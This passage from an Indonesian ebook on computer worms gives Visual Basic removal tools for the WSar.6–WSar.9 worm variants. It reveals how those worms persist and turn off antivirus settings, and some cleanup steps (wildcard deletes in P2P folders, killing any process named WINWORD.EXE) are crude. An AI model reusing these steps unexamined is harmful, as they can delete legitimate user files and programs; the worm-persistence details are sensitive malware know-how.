Function SpecialFolder(ByVal value) On Error Resume Next Dim FolderValue As String If value = 0 Then FolderValue = Left(SF, GetWindowsDirectory(SF, 255)) End If If value = 1 Then FolderValue = Left(SF, GetSystemDirectory(SF, 255)) End If If Right(FolderValue, 1) = "\" Then FolderValue = Left(FolderValue, Len(FolderValue) - 1) End If SpecialFolder = FolderValueEnd Function

Private Sub Form_Load() lblStatus.Caption = "WSar.6 Removal - Ready ..."End Sub

Private Sub chkShield_Click() If chkShield.value = Checked Then tmrShield.Enabled = True cmdProcess.Enabled = False lblStatus.Caption = "Shield Enabled - Monitoring Worm Activity" Else tmrShield.Enabled = False lblStatus.ForeColor = &HFFFF& cmdProcess.Enabled = True lblStatus.Caption = "Shield Disabled - Waiting For Instruction" End IfEnd Sub

Private Sub cmdProcess_Click() CheckWorm()End Sub

Private Sub cmdTray_Click() If chkShield.value <> Checked Then If MsgBox("Shield is disabled, enable it now?", vbYesNo + _ vbInformation) = vbYes Then chkShield.value = Checked End If End If If chkShield.value = Checked Then AddToTray(Me.Icon, "WSar Removal - Shield Enable", Me) Else AddToTray(Me.Icon, "WSar Removal - Shield Disable", Me) End IfEnd Sub

Private Sub form_MouseMove(ByVal Button As Integer, _ByVal Shift As Integer, ByVal x As Single, ByVal Y As Single) If RespondToTray(x) > 0 Then ShowFormAgain(Me) RemoveFromTray() End IfEnd Sub

Page 48: Computer Worm 2-eBook

37Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

1. L

auch

er F

ile R

emov

al

Private Sub tmrShield_Timer() If lblStatus.ForeColor = &HFFFF& Then lblStatus.ForeColor = &H0& Else lblStatus.ForeColor = &HFFFF& End If CheckWorm()End Sub

Private Sub CheckWorm() On Error Resume Next Dim MainFile As String MainFile = SpecialFolder(1) & "\" & "loadsys.exe" If Len(Dir$(MainFile)) <> 0 Then RemoveWorm() Else If chkShield.value <> Checked Then MsgBox("WSar.6 Not Found", vbExclamation) End If End IfEnd Sub

Private Sub RemoveWorm() On Error Resume Next Dim MainFile As String MainFile = SpecialFolder(1) & "\" & "loadsys.exe" WinExit("loadsys.exe") MsgBox("WSar.6 found! And will be removed", vbExclamation + _ vbSystemModal) Kill(MainFile) If Len(Dir$(MainFile)) <> 0 Then MsgBox("WSar.6 can not removed", vbCritical) chkShield.value = Unchecked Else ReConfig() MsgBox("WSar.6 succesfully removed", vbExclamation) End IfEnd Sub

Private Sub ReConfig() On Error Resume Next SetStringValue("HKEY_CLASSES_ROOT\exefile\shell\open\c" & _ "ommand", "", Chr(34) & Chr(37) & Chr(49) & Chr(34) & " " & _ Chr(37) & Chr(42))Dim P2P(1 To 7) As String Dim w As Integer P2P(1) = "C:\Program Files\BearShare\Shared" P2P(2) = "C:\Program Files\Edonkey2000\Incoming" P2P(3) = "C:\Program Files\Grokster\My Grokster" P2P(4) = "C:\Program Files\KMD\My Shared Folder" P2P(5) = "C:\Program Files\Kazaa\My Shared Folder" P2P(6) = "C:\Program Files\Kazaa Lite\My Shared Folder" P2P(7) = "C:\Program Files\Morpheus\My Shared Folder" For w = 1 To 7 If Len(Dir$(P2P(w), vbDirectory)) <> 0 Then Kill(P2P(w) & "\*.*.exe") End If NextEnd Sub

Page 49: Computer Worm 2-eBook

38Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 1. Laucher File R

emoval

Berikut penjelasan tentang kode program:

Procedure Form_Load memiliki tugas sederhana, yaitu mengatur cap-tion pada lblStatus menjadi "WSar.6 Removal - Ready ..."

Pada procedure CheckWorm, jika file 'loadsys.exe’ ditemukan pada di-rektori System Windows maka memanggil procedure RemoveWorm, jika tidak ditemukan maka jika nilai chkShield tidak ter-check, proce-dure akan menampilkan kotak pesan "WSar.6 Not Found".

Procedure RemoveWorm akan menghentikan proses file 'loadsys.exe’ yang merupakan file launcher dari WSar.6 kemudian menampilkan kotak pesan "WSar.6 found! And will be removed", kemudian menghapus file 'loadsys.exe’ pada direktori System Windows. Setelah itu, kem-bali memeriksa file tersebut, jika ditemukan maka menampilkan kotak pesan "WSar.6 can not removed" dan mengatur nilai chkShield menjadi tidak ter-check, sebaliknya jika tidak ditemukan maka procedure me-nampilkan kotak pesan "WSar.6 succesfully removed".

Procedure ReConfig memanipulasi nilai registry dengan mengubah nilai default pada key "HKEY_CLASSES_ROOT\ exefile\shell\open\command" menjadi string; "%1" %* dengan memanfaatkan fungsi Chr.

Penulis menemukan masalah dalam penulisan quote dimana string yang akan dituliskan juga memiliki tanda quote, sehingga penulis menyiasatinya dengan fungsi Chr ini.

Selain fungsi ini tentu saja Anda juga bisa mengkonversi dari nilai hexadecimal atau lainnya untuk mendapatkan nilai ASCII, adapun Chr(34) untuk mengembalikan nilai berupa tanda quote ("), Chr(37) untuk tanda percent (%), Chr(49) untuk angka 1 dan Chr(42) untuk tanda asterik (*). Kemudian procedure membuat array sebanyak 7 data dan masing-masing data berisi path dari aplikasi Peer To Peer, kemudian menghapus file dengan wildcard "*.*.exe" pada setiap path tersebut.

Page 50: Computer Worm 2-eBook

39Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

1. L

auch

er F

ile R

emov

al

1.7 WSAR.7 REMOVALProgram removal ini berfungsi untuk membersihkan file launcher WSar.7 dari system komputer.

1.7.1 ALGORITMA1. Mendapatkan direktori default startup, dari registry2. Melakukan pemeriksaan terhadap eksistensi WSar.7 pada direktori

Windows dan System Windows dengan nama file 'wintweak.exe' dan 'kerne132.exe’

3. Jika salah satu file launcher WSar.7 ditemukan, maka menghenti-kan kedua proses file launcher kemudian menghapus kedua file tersebut

4. Menghapus dan mengembalikan nilai registry yang dimanipulasi WSar.7 dan sekaligus menghapus file worm yang ada pada folder aplikasi mIrc

5. Program removal mampu melakukan pemeriksaan secara ber-kesinambungan, dan menampilkan icon pada system tray.

1.7.2 PEMROGRAMANTambahkan 1 buah object TextBox dan 3 buah Module kemudian atur properti untuk masing-masing object sebagai berikut:

Properti object Text1

Jenis Nilai KeteranganName txtPath Mengatur nama TextBox menjadi txtPath

Properti Module1

Jenis Nilai KeteranganName mdlWinExit Mengatur nama module menjadi mdlWinExit

Page 51: Computer Worm 2-eBook

40Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 1. Laucher File R

emoval

Properti Module2

Jenis Nilai KeteranganName mdlTray Mengatur nama module menjadi mdlTray

Properti Module3

Jenis Nilai KeteranganName mdlRegistryAPI Mengatur nama module menjadi mdlRegis-

tryAPI

Untuk module mdlWinExit Anda bisa menggunakan module yang sama pada WSar.6, module mdlTray dengan module yang sama pada WSar.1 Removal dan module mdlRegistryAPI dengan module yang sama pada WSar.4, kemudian ketik kode program berikut ini pada object frmRemoval.

'WSar.7 Removal by Achmad Darmal'Tarakan, Kalimantan Timur - IndonesiaOption Explicit On

Private Declare Function GetWindowsDirectory Lib "kernel32" _ Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, _ ByVal nSize As Long) As LongPrivate Declare Function GetSystemDirectory Lib "kernel32" Alias _ "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize _ As Long) As LongPrivate SF As String * 255

Function SpecialFolder(ByVal value) On Error Resume Next Dim FolderValue As String If value = 0 Then FolderValue = Left(SF, GetWindowsDirectory(SF, 255)) End If If value = 1 Then FolderValue = Left(SF, GetSystemDirectory(SF, 255)) End If If Right(FolderValue, 1) = "\" Then FolderValue = Left(FolderValue, Len(FolderValue) - 1) End If SpecialFolder = FolderValueEnd Function

Page 52: Computer Worm 2-eBook

41Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

1. L

auch

er F

ile R

emov

al

Private Sub Form_Load() lblStatus.Caption = "WSar.7 Removal - Ready ..."End Sub

Private Sub chkShield_Click() If chkShield.value = Checked Then tmrShield.Enabled = True cmdProcess.Enabled = False lblStatus.Caption = "Shield Enabled - Monitoring Worm Activity" Else tmrShield.Enabled = False lblStatus.ForeColor = &HFFFF& cmdProcess.Enabled = True lblStatus.Caption = "Shield Disabled - Waiting For Instruction" End IfEnd Sub

Private Sub cmdProcess_Click() CheckWorm()End Sub

Private Sub cmdTray_Click() If chkShield.value <> Checked Then If MsgBox("Shield is disabled, enable it now?", vbYesNo + _ vbInformation) = vbYes Then chkShield.value = Checked End If End If If chkShield.value = Checked Then AddToTray(Me.Icon, "WSar Removal - Shield Enable", Me) Else AddToTray(Me.Icon, "WSar Removal - Shield Disable", Me) End IfEnd Sub

Private Sub form_MouseMove(ByVal Button As Integer, _ByVal Shift As Integer, ByVal x As Single, ByVal Y As Single) If RespondToTray(x) > 0 Then ShowFormAgain(Me) RemoveFromTray() End IfEnd Sub

Private Sub tmrShield_Timer() If lblStatus.ForeColor = &HFFFF& Then lblStatus.ForeColor = &H0& Else lblStatus.ForeColor = &HFFFF& End If CheckWorm()End Sub

Page 53: Computer Worm 2-eBook

42Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 1. Laucher File R

emoval

Private Sub CheckWorm() On Error Resume Next Dim MainFile1, MainFile2 As String MainFile1 = SpecialFolder(0) & "\" & "wintweak.exe" MainFile2 = SpecialFolder(1) & "\" & "kerne132.exe" If Len(Dir$(MainFile1)) <> 0 Or _ Len(Dir$(MainFile2)) <> 0 Then RemoveWorm() Else If chkShield.value <> Checked Then MsgBox("WSar.7 Not Found", vbExclamation) End If End IfEnd Sub

Private Sub RemoveWorm() On Error Resume Next Dim MainFile1, MainFile2 As String MainFile1 = SpecialFolder(0) & "\" & "wintweak.exe" MainFile2 = SpecialFolder(1) & "\" & "kerne132.exe" WinExit("wintweak.exe") : WinExit("kerne132.exe") MsgBox("WSar.7 found! And will be removed", vbExclamation + _ vbSystemModal) Kill(MainFile1) : Kill(MainFile2) If Len(Dir$(MainFile1)) <> 0 Or _ Len(Dir$(MainFile2)) <> 0 Then MsgBox("WSar.7 can not removed", vbCritical) chkShield.value = Unchecked Else ReConfig() MsgBox("WSar.7 succesfully removed", vbExclamation) End IfEnd Sub

Private Sub ReConfig() On Error Resume Next DeleteKeyValue("HKEY_LOCAL_MACHINE\Software\Micro" & _ "soft\Windows\CurrentVersion\Run", "winsys") DeleteKeyValue("HKEY_CLASSES_ROOT\exefile", _ "NeverShowExt") DeleteKeyValue("HKEY_LOCAL_MACHINE\SOFTWARE\M" & _ "cAfee.com\Virusscan Online\property", "ActiveShield:Scan" & _ "Heuristic") DeleteKeyValue("HKEY_LOCAL_MACHINE\SOFTWARE\M" & _ "cAfee.com\Virusscan Online\property", "EmailScan:Enable") DeleteKeyValue("HKEY_LOCAL_MACHINE\SOFTWARE\M" & _ "cAfee.com\Virusscan Online\property", "WS:Enable") DeleteKeyValue("HKEY_LOCAL_MACHINE\SOFTWARE\M" & _ "cAfee.com\Virusscan Online\property", "ScriptStopper:Enable") DeleteKeyValue("HKEY_LOCAL_MACHINE\SOFTWARE\M" & _ "cAfee.com\Virusscan Online\property", "ActiveShield:Scan" & _ "AllFiles") DeleteKeyValue("HKEY_LOCAL_MACHINE\SOFTWARE\M" & _ "cAfee.com\Virusscan Online\property", "ActiveShield:Load" & _ "AtStartup")

Page 54: Computer Worm 2-eBook

43Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

1. L

auch

er F

ile R

emov

al

DeleteKeyValue("HKEY_LOCAL_MACHINE\SOFTWARE\M" & _ "cAfee.com\Virusscan Online\Customize\Options\AShield", _ "State") Dim mIrcPath As String txtPath.Text = GetStringValue("HKEY_LOCAL_MACHINE\S" & _ "OFTWARE\Classes\irc\DefaultIcon", "") mIrcPath = Mid(txtPath.Text, 2, (Len(txtPath.Text) - 11)) If Dir(mIrcPath, vbDirectory) <> "" Then Kill(mIrcPath & "\wintweak.exe") End IfEnd Sub

Berikut penjelasan tentang kode program:

Procedure Form_Load memiliki tugas sederhana, yaitu mengatur cap-tion pada lblStatus menjadi "WSar.7 Removal - Ready ..."

Pada procedure CheckWorm, jika file 'wintweak.exe’ ditemukan pada direktori Windows atau jika file 'kerne132.exe’ ditemukan pada direk-tori System Windows maka memanggil procedure RemoveWorm, jika tidak ditemukan maka jika nilai chkShield tidak ter-check, procedure akan menampilkan kotak pesan "WSar.7 Not Found".

Procedure RemoveWorm akan menghentikan proses file 'wintweak.exe’ dan file 'kerne132.exe’ yang merupakan file launcher dari WSar.7 ke-mudian menampilkan kotak pesan "WSar.7 found! And will be removed". Setelah itu menghapus file 'wintweak.exe’ pada direktori Windows dan file 'kerne132.exe’ pada direktori System Windows, kemudian kembali memeriksa kedua file tersebut.

Jika ditemukan maka menampilkan kotak pesan "WSar.7 can not removed" dan mengatur nilai chkShield menjadi tidak ter-check, seba-liknya jika tidak ditemukan maka procedure menampilkan kotak pesan "WSar.7 succesfully removed".

Procedure ReConfig memanipulasi nilai registry dengan mengha-pus nilai "winsys" pada key "HKEY_LOCAL_M ACHINE\Soft-ware\Microsoft\Windows\CurrentVersion\Run" menghapus nilai 'NeverShowExt’ pada key "HKEY_CLASS ES_ROOT\exefile", dan menghapus nilai "ActiveShield:Scan Heuristic", "EmailScan:Enable", "WS:Enable", "ScriptStopp er:Enable", "ActiveShield:ScanAllFiles" dan "ActiveShield:L oadAtStartup" pada key "HKEY_LOCAL_MACHINE\SOFT WARE\McAfee.com\Virusscan Online\property".

Page 55: Computer Worm 2-eBook

44Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 1. Laucher File R

emoval

Procedure ini juga menghapus nilai "State" pada key "HKEY_LO-CAL_ MACHINE\SOFTWARE\McAfee.com\Virusscan Online\Cus tomize\Options\AShield". Terakhir, jika direktori aplikasi mIrc ditemukan maka procedure akan menghapus file 'wintweak.exe’ dari direktori tersebut.

1.8 WSAR.8 REMOVALProgram removal ini berfungsi untuk membersihkan file launcher WSar.8 dari system komputer.

1.8.1 ALGORITMA1. Mendapatkan direktori default startup dari registry2. Melakukan pemeriksaan terhadap eksistensi WSar.8 pada direktori

Windows dan System Windows dengan nama file 'SPOOL32.EXE' dan 'WINWORD.EXE’

3. Jika salah satu file launcher WSar.8 ditemukan, maka menghenti-kan kedua proses file launcher kemudian menghapus kedua file tersebut

4. Menghapus dan mengembalikan nilai registry yang dimanipulasi WSar.8

5. Program removal mampu melakukan pemeriksaan secara ber-kesinambungan, dan menampilkan icon pada system tray.

1.8.2 PEMROGRAMANTambahkan 3 buah Module kemudian atur properti untuk masing-masing module sebagai berikut:

Properti Module1

Jenis Nilai KeteranganName mdlWinExit Mengatur nama module menjadi mdlWinExit

Page 56: Computer Worm 2-eBook

45Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

1. L

auch

er F

ile R

emov

al

Properti Module2

Jenis Nilai KeteranganName mdlTray Mengatur nama module menjadi mdlTray

Properti Module3

Jenis Nilai KeteranganName mdlRegistryAPI Mengatur nama module menjadi mdlRegis-

tryAPI

Untuk module mdlWinExit Anda bisa menggunakan module yang sama pada WSar.6, module mdlTray dengan module yang sama pada WSar.1 Removal dan module mdlRegistryAPI dengan module yang sama pada WSar.4, kemudian ketik kode program berikut ini pada object frmRemoval.

'WSar.8 Removal by Achmad Darmal'Tarakan, Kalimantan Timur - IndonesiaOption Explicit On

Private Declare Function GetWindowsDirectory Lib "kernel32" _ Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, _ ByVal nSize As Long) As LongPrivate Declare Function GetSystemDirectory Lib "kernel32" Alias _ "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize _ As Long) As LongPrivate SF As String * 255

Function SpecialFolder(ByVal value) On Error Resume Next Dim FolderValue As String If value = 0 Then FolderValue = Left(SF, GetWindowsDirectory(SF, 255)) End If If value = 1 Then FolderValue = Left(SF, GetSystemDirectory(SF, 255)) End If If Right(FolderValue, 1) = "\" Then FolderValue = Left(FolderValue, Len(FolderValue) - 1) End If SpecialFolder = FolderValueEnd Function

Page 57: Computer Worm 2-eBook

46Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 1. Laucher File R

emoval

Private Sub Form_Load() lblStatus.Caption = "WSar.8 Removal - Ready ..."End Sub

Private Sub chkShield_Click() If chkShield.value = Checked Then tmrShield.Enabled = True cmdProcess.Enabled = False lblStatus.Caption = "Shield Enabled - Monitoring Worm Activity" Else tmrShield.Enabled = False lblStatus.ForeColor = &HFFFF& cmdProcess.Enabled = True lblStatus.Caption = "Shield Disabled - Waiting For Instruction" End IfEnd Sub

Private Sub cmdProcess_Click() CheckWorm()End Sub

Private Sub cmdTray_Click() If chkShield.value <> Checked Then If MsgBox("Shield is disabled, enable it now?", vbYesNo + _ vbInformation) = vbYes Then chkShield.value = Checked End If End If If chkShield.value = Checked Then AddToTray(Me.Icon, "WSar Removal - Shield Enable", Me) Else AddToTray(Me.Icon, "WSar Removal - Shield Disable", Me) End IfEnd Sub

Private Sub form_MouseMove(ByVal Button As Integer, _ByVal Shift As Integer, ByVal x As Single, ByVal Y As Single) If RespondToTray(x) > 0 Then ShowFormAgain(Me) RemoveFromTray() End IfEnd Sub

Private Sub tmrShield_Timer() If lblStatus.ForeColor = &HFFFF& Then lblStatus.ForeColor = &H0& Else lblStatus.ForeColor = &HFFFF& End If CheckWorm()End Sub

Page 58: Computer Worm 2-eBook

47Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

1. L

auch

er F

ile R

emov

al

Private Sub CheckWorm() On Error Resume Next Dim MainFile1, MainFile2 As String MainFile1 = SpecialFolder(0) & "\" & "SPOOL32.EXE" MainFile2 = SpecialFolder(1) & "\" & "WINWORD.EXE" If Len(Dir$(MainFile1)) <> 0 Or _ Len(Dir$(MainFile2)) <> 0 Then RemoveWorm() Else If chkShield.value <> Checked Then MsgBox("WSar.8 Not Found", vbExclamation) End If End IfEnd Sub

Private Sub RemoveWorm() On Error Resume Next Dim MainFile1, MainFile2 As String MainFile1 = SpecialFolder(0) & "\" & "SPOOL32.EXE" MainFile2 = SpecialFolder(1) & "\" & "WINWORD.EXE" WinExit("SPOOL32.EXE") : WinExit("WINWORD.EXE") MsgBox("WSar.8 found! And will be removed", vbExclamation + _ vbSystemModal) Kill(MainFile1) : Kill(MainFile2) If Len(Dir$(MainFile1)) <> 0 Or _ Len(Dir$(MainFile2)) <> 0 Then MsgBox("WSar.8 can not removed", vbCritical) chkShield.value = Unchecked Else ReConfig() MsgBox("WSar.8 succesfully removed", vbExclamation) End IfEnd Sub

Private Sub ReConfig() On Error Resume Next SetDWORDValue("HKEY_CURRENT_USER\Software\Micro" & _ "soft\Windows\CurrentVersion\Policies\System", "DisableRe" & _ "gistryTools", 0) SetStringValue("HKEY_CLASSES_ROOT\regfile\shell\open\command", "", _ "regedit.exe " & Chr(34) & Chr(37) & Chr(49) & Chr(34)) DeleteKeyValue("HKEY_CLASSES_ROOT\exefile", _ "NeverShowExt") DeleteKeyValue("HKEY_LOCAL_MACHINE\Software\Micro" & _ "soft\Windows\CurrentVersion\Run", "Printer Cpl") DeleteKeyValue("HKEY_CURRENT_USER\Software\Microso" & _ "ft\Windows\CurrentVersion\Run", "Microsoft Word")End Sub

Page 59: Computer Worm 2-eBook

48Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 1. Laucher File R

emoval

Berikut penjelasan tentang kode program:

Procedure Form_Load memiliki tugas sederhana, yaitu mengatur cap-tion pada lblStatus menjadi "WSar.8 Removal - Ready ..."

Pada procedure CheckWorm, jika file 'SPOOL32.EXE’ ditemukan pada direktori Windows atau jika file 'WINWORD.EXE’ ditemukan pada direktori System Windows maka akan memanggil procedure Remove-Worm, jika tidak ditemukan maka jika nilai chkShield tidak ter-check, procedure akan menampilkan kotak pesan "WSar.8 Not Found".

Procedure RemoveWorm akan menghentikan proses file 'SPOOL32.EXE’ dan file 'WINWORD.EXE’ yang merupakan file launcher dari WSar.8 kemudian menampilkan kotak pesan "WSar.8 found! And will be removed", kemudian menghapus file 'SPOOL32.EXE’ pada direktori Windows dan file 'WINWORD.EXE’ pada direktori System Windows.

Setelah itu, kembali memeriksa kedua file tersebut, jika ditemukan maka menampilkan kotak pesan "WSar.8 can not removed" dan mengatur nilai chkShield menjadi tidak ter-check, sebaliknya jika tidak ditemu-kan maka procedure menampilkan kotak pesan "WSar.8 succesfully removed".

Procedure ReConfig memanipulasi nilai registry dengan mengatur nilai "DisableRegistryTools" pada key "HKEY_CU RRENT_USER\Soft-ware\Microsoft\Windows\CurrentVersion\Policies\System" dengan nilai 0, mengatur nilai default pada key "HKEY_CLASSES_ROOT\reg-file\shell\open\command" dengan string; "%1" (dalam hal ini penulis masih menggunakan fungsi Chr ), menghapus nilai "NeverShowExt" pada key "HKEY_CLASSES_ROOT\exef ile", dan menghapus nilai "Printer Cpl" dan "Microsoft Word" pada key "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run".

Page 60: Computer Worm 2-eBook

49Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

1. L

auch

er F

ile R

emov

al

1.9 WSAR.9 REMOVALProgram removal ini berfungsi untuk membersihkan file launcher WSar.9 dari system komputer.

1.9.1 ALGORITMA1. Melakukan pemeriksaan terhadap eksistensi WSar.9 pada direktori

System Windows dengan nama file yang diambil dari data registry "ProductNo"

2. Jika file launcher WSar.9 ditemukan, maka menghentikan proses file launcher kemudian menghapus file tersebut

3. Menghapus file 'wsar9.ico’ yang ada pada direktori Windows4. Menghapus dan mengembalikan nilai registry yang dimanipulasi

WSar.9 5. Program removal mampu melakukan pemeriksaan secara ber-

kesinambungan dan menampilkan icon pada system tray.

1.9.2 PEMROGRAMANTambahkan 1 buah object TextBox dan 3 buah Module kemudian atur properti untuk masing-masing object sebagai berikut:

Properti object Text1

Jenis Nilai KeteranganName txtPath Mengatur nama TextBox menjadi txtPath

Properti Module1

Jenis Nilai KeteranganName mdlWinExit Mengatur nama module menjadi mdlWinExit

Properti Module2

Jenis Nilai KeteranganName mdlTray Mengatur nama module menjadi mdlTray

Page 61: Computer Worm 2-eBook

50Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 1. Laucher File R

emoval

Properti Module3

Jenis Nilai KeteranganName mdlRegistryAPI Mengatur nama module menjadi mdlRegis-

tryAPI

Untuk module mdlWinExit Anda bisa menggunakan module yang sama pada WSar.6, module mdlTray dengan module yang sama pada WSar.1 Removal dan module mdlRegistryAPI dengan module yang sama pada WSar.4, kemudian ketik kode program berikut ini pada object frmRemoval.

'WSar.9 Removal by Achmad Darmal'Tarakan, Kalimantan Timur - IndonesiaOption Explicit On

Private Declare Function GetWindowsDirectory Lib "kernel32" _ Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, _ ByVal nSize As Long) As LongPrivate Declare Function GetSystemDirectory Lib "kernel32" Alias _ "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize _ As Long) As LongPrivate SF As String * 255

Function SpecialFolder(ByVal value) On Error Resume Next Dim FolderValue As String If value = 0 Then FolderValue = Left(SF, GetWindowsDirectory(SF, 255)) End If If value = 1 Then FolderValue = Left(SF, GetSystemDirectory(SF, 255)) End If If Right(FolderValue, 1) = "\" Then FolderValue = Left(FolderValue, Len(FolderValue) - 1) End If SpecialFolder = FolderValueEnd Function

Private Sub Form_Load() lblStatus.Caption = "WSar.9 Removal - Ready ..."End Sub

Page 62: Computer Worm 2-eBook

51Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

1. L

auch

er F

ile R

emov

al

Private Sub chkShield_Click() If chkShield.value = Checked Then tmrShield.Enabled = True cmdProcess.Enabled = False lblStatus.Caption = "Shield Enabled - Monitoring Worm Activity" Else tmrShield.Enabled = False lblStatus.ForeColor = &HFFFF& cmdProcess.Enabled = True lblStatus.Caption = "Shield Disabled - Waiting For Instruction" End IfEnd Sub

Private Sub cmdProcess_Click() CheckWorm()End Sub

Private Sub cmdTray_Click() If chkShield.value <> Checked Then If MsgBox("Shield is disabled, enable it now?", vbYesNo + _ vbInformation) = vbYes Then chkShield.value = Checked End If End If If chkShield.value = Checked Then AddToTray(Me.Icon, "WSar Removal - Shield Enable", Me) Else AddToTray(Me.Icon, "WSar Removal - Shield Disable", Me) End IfEnd Sub

Private Sub form_MouseMove(ByVal Button As Integer, _ByVal Shift As Integer, ByVal x As Single, ByVal Y As Single) If RespondToTray(x) > 0 Then ShowFormAgain(Me) RemoveFromTray() End IfEnd Sub

Private Sub tmrShield_Timer() If lblStatus.ForeColor = &HFFFF& Then lblStatus.ForeColor = &H0& Else lblStatus.ForeColor = &HFFFF& End If CheckWorm()End Sub

Page 63: Computer Worm 2-eBook

52Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 1. Laucher File R

emoval

Private Sub CheckWorm() On Error Resume Next Dim WSarName As String Dim MainFile As String WSarName = GetStringValue("HKEY_LOCAL_MACHINE\So" & _ "ftware\Microsoft\Windows\CurrentVersion", "ProductNo") txtPath.Text = Trim(SpecialFolder(1) & "\" & WSarName) MainFile = txtPath.Text & ".exe" If Len(Dir$(MainFile)) <> 0 Then RemoveWorm() Else If chkShield.value <> Checked Then MsgBox("WSar.9 Not Found", vbExclamation) End If End IfEnd Sub

Private Sub RemoveWorm() On Error Resume Next Dim WSarName As String Dim WSarLast As String Dim WSarPath As String Dim MainFile1, MainFile2 As String WSarName = GetStringValue("HKEY_LOCAL_MACHINE\So" & _ "ftware\Microsoft\Windows\CurrentVersion", "ProductNo") WSarLast = GetStringValue("HKEY_LOCAL_MACHINE\Soft" & _ "ware\Microsoft\Windows\CurrentVersion", "ProductCode") MainFile1 = SpecialFolder(1) & "\" & WSarLast txtPath.Text = Trim(SpecialFolder(1) & "\" & WSarName) MainFile2 = txtPath.Text & ".exe" WinExit(WSarLast) : WinExit(WSarName & ".exe") MsgBox("WSar.9 found! And will be removed", vbExclamation + _ vbSystemModal) Kill(MainFile1) Kill(MainFile2) DeleteKeyValue("HKEY_LOCAL_MACHINE\Software\Micro" & _ "soft\Windows\CurrentVersion\Run", WSarName) DeleteKeyValue("HKEY_LOCAL_MACHINE\Software\Micro" & _ "soft\Windows\CurrentVersion", "ProductNo") DeleteKeyValue("HKEY_LOCAL_MACHINE\Software\Micro" & _ "soft\Windows\CurrentVersion", "ProductCode") If Len(Dir$(MainFile2)) <> 0 Then MsgBox("WSar.9 can not removed", vbCritical) chkShield.value = Unchecked Else ReConfig() MsgBox("WSar.9 succesfully removed", vbExclamation) End IfEnd Sub

Page 64: Computer Worm 2-eBook

53Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

1. L

auch

er F

ile R

emov

al

Private Sub ReConfig() On Error Resume Next SetDWORDValue("HKEY_CURRENT_USER\Software\Micro" & _ "soft\Windows\CurrentVersion\Policies\System", "DisableReg" & _ "istryTools", 0) SetStringValue("HKEY_CLASSES_ROOT\regfile\shell\open\c" & _ "ommand", "", "regedit.exe " & """%1""") DeleteKeyValue("HKEY_CLASSES_ROOT\exefile", _ "NeverShowExt") Kill(SpecialFolder(0) & "\" & "WSar9.ico") SetStringValue("HKEY_CLASSES_ROOT\exefile\DefaultIcon", _ "", "%1") SetStringValue("HKEY_CURRENT_USER\Software\Microsoft" & _ "\Windows\CurrentVersion\Explorer\CLSID\{450D8FBA-A" & _ "D25-11D0-98A8-0800361B1103}\DefaultIcon", "", _ "%SystemRoot%\SYSTEM32\mydocs.dll,0") SetStringValue("HKEY_CURRENT_USER\Software\Microsoft" & _ "\Windows\CurrentVersion\Explorer\CLSID\{20D04FE0-3A" & _ "EA-1069-A2D8-08002B30309D}\DefaultIcon", "", _ "%SystemRoot%\explorer.exe,0") SetStringValue("HKEY_CURRENT_USER\Software\Microsoft" & _ "\Windows\CurrentVersion\Explorer\CLSID\{208D2C60-3A" & _ "EA-1069-A2D7-08002B30309D}\DefaultIcon", "", _ "%SystemRoot%\SYSTEM32\shell32.dll,17") SetStringValue("HKEY_CURRENT_USER\Software\Microsoft" & _ "\Windows\CurrentVersion\Explorer\CLSID\{645FF040-508" & _ "1-101B-9F08-00AA002F954E}\DefaultIcon", "full", _ "%SystemRoot%\SYSTEM32\shell32.dll,32") SetStringValue("HKEY_CURRENT_USER\Software\Microsoft" & _ "\Windows\CurrentVersion\Explorer\CLSID\{645FF040-508" & _ "1-101B-9F08-00AA002F954E}\DefaultIcon", "empty", _ "%SystemRoot%\SYSTEM32\shell32.dll,31")End Sub

Berikut penjelasan tentang kode program:

Procedure Form_Load memiliki tugas sederhana, yaitu mengatur cap-tion pada lblStatus menjadi "WSar.9 Removal - Ready ..."

Procedure CheckWorm dimulai dengan melakukan pemeriksaan data pada nilai registry "ProductNo" dan pada key "HKEY_LOCAL_MA-CHINE\Software\Microsoft\Windo ws\CurrentVersion".

Data yang diperoleh disimpan pada variabel WSarName, kemudian mengatur nilai text pada txtPath dengan penggabungan dari path di-rektori System Windows, karakter "\" dan nilai variabel WSarName yang telah di trim (disederhanakan), kemudian mengatur nilai varia-bel MainFile dengan nilai text dari txtPath dan memberinya tambahan string ".exe" sebagai ekstensi.

Page 65: Computer Worm 2-eBook

54Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 1. Laucher File R

emoval

Jika file yang mengacu pada nilai variabel MainFile ditemukan maka memanggil procedure RemoveWorm, jika tidak ditemukan maka jika nilai chkShield tidak ter-check, procedure akan menampilkan kotak pesan "WSar.9 Not Found".

Procedure RemoveWorm dimulai dengan melakukan pemeriksaan key registry "HKEY_LOCAL_MACHINE\Soft ware\Microsoft\Win-dows\CurrentVersion" dan menyimpan data yang diperoleh dari nilai "ProductNo" pada variabel WSarName dan nilai "ProductCode" pada variabel WSarLast.

